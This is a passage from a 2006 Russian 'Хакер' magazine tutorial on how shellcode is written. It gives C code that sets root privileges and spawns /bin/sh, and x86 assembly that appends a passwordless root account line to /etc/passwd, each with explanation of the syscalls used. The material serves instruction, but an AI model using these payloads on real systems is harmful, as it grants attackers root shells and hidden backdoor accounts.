Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #85, ЯНВАРЬ 2006 г.

Откуда берутся шелл-коды

Степан Ильин (step@gameland.ru)

Хакер, номер #085, стр. 085-050-3


main()

{

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

setreuid(0, 0);

execve(name[0],name, NULL);

// то же самое, что и execve("/bin/sh",{"/bin/sh",NULL},NULL)

}

Команда setreuid(0, 0) используется для того, чтобы установить для запуска права root'а (если это возможно). execve(const char filename, char const argv [], char const envp[]) - это главный системный вызов, который исполняет любые бинарники и скрипты. Он имеет 3 параметра: filename - полный путь к бинарнику, argv [] - массив аргументов, envp[] - массив строк в формате «ключ=значение», которые выставляются переменными окружения для запускаемого приложения. Оба массива должны заканчиваться нулевым (NULL) элементом.

[ассемблер - почти просто]

Теперь, когда мы имеем несколько примеров, написанных на C, попробуем преобразовать их в код на чистом ассемблере. Тебе должно быть известно, что системные функции вызываются с помощью специального прерывания, которое считывает номер функции регистра EAX и выполняет ее. Номера функций можно подсмотреть в файле /usr/include/asm/unistd.h. Например, строка «#define __NR_ open 5» означает, что функции open() присвоен идентификационный номер 5. Аналогично находятся номера для остальных функций: exit() - 1, close() - 6, setreuid() - 70, execve() - 11. В принципе, этого достаточно, чтобы написать вполне работоспособные приложения.

section .data

filename db '/etc/passwd', 0

line db 'xakep:x:0:0::/:/bin/bash',0x0a

section .text

global _start

_start:

; open(filename,O_WRONLY|O_APPEND)

mov eax, 5

mov ebx, filename

mov ecx, 1025

int 0x80

mov ebx, eax

; write(f_open, line, 24)

mov eax, 4

mov ecx, line

mov edx, 24

int 0x80

; close(f_open)

mov eax, 6

int 0x80

; exit(0)

mov eax, 1

mov ebx, 0

int 0x80

Как известно, программа на ассемблере обычно состоит из трех сегментов: сегмента данных, в котором описываются переменные, сегмента кода, в котором содержатся непосредственно инструкции программы, и сегмента стека, представляющего собой специальную область памяти для хранения данных. Наш пример состоит из всего двух сегментов: данных и кода, начало которых обозначено управляющими операторами section .data и section .text. Сегмент данных содержит объявление двух переменных: name и line, строкового типа, состоящих из набора байт (видишь слово db в описании?). Сегмент кода начинается с объявления точки входа в систему global _start. Эта конструкция указывает на то, что инструкции программы следует выполнять с метки _start. Все логично: после этой метки действительно идет вызов необходимых функций и процедур. Так, если необходимо вызвать функцию open(), то в регистр EAX помещается ее номер - 5. Затем функции передаются параметры. Вообще говоря, это можно сделать несколькими способами, но в нашем случае используется наиболее простой: с помощью регистров EBX,ECX,EDX. В EBX помещается первый параметр функции, то есть адрес начала строки name, которая содержит путь к файлу и его имя, а также завершающий ноль (многие функции требуют, чтобы строковые переменные заканчивались именно нулем). А в регистр ECX заносится второй параметр, символизирующий режим для открытия файла (константа O_WRONLY|O_APPEND в численном представлении). Теперь, когда регистры содержат необходимые значения, можно вызывать прерывание 0x80. Оно считает номер функции из регистра EAX и выполняет функцию с соответствующими параметрами. После этого выполнение основной программы продолжается, причем для вызова функции write(), close(), exit() используется тот же самый механизм.

Назад на стр. 085-050-2  Содержание  Вперед на стр. 085-050-4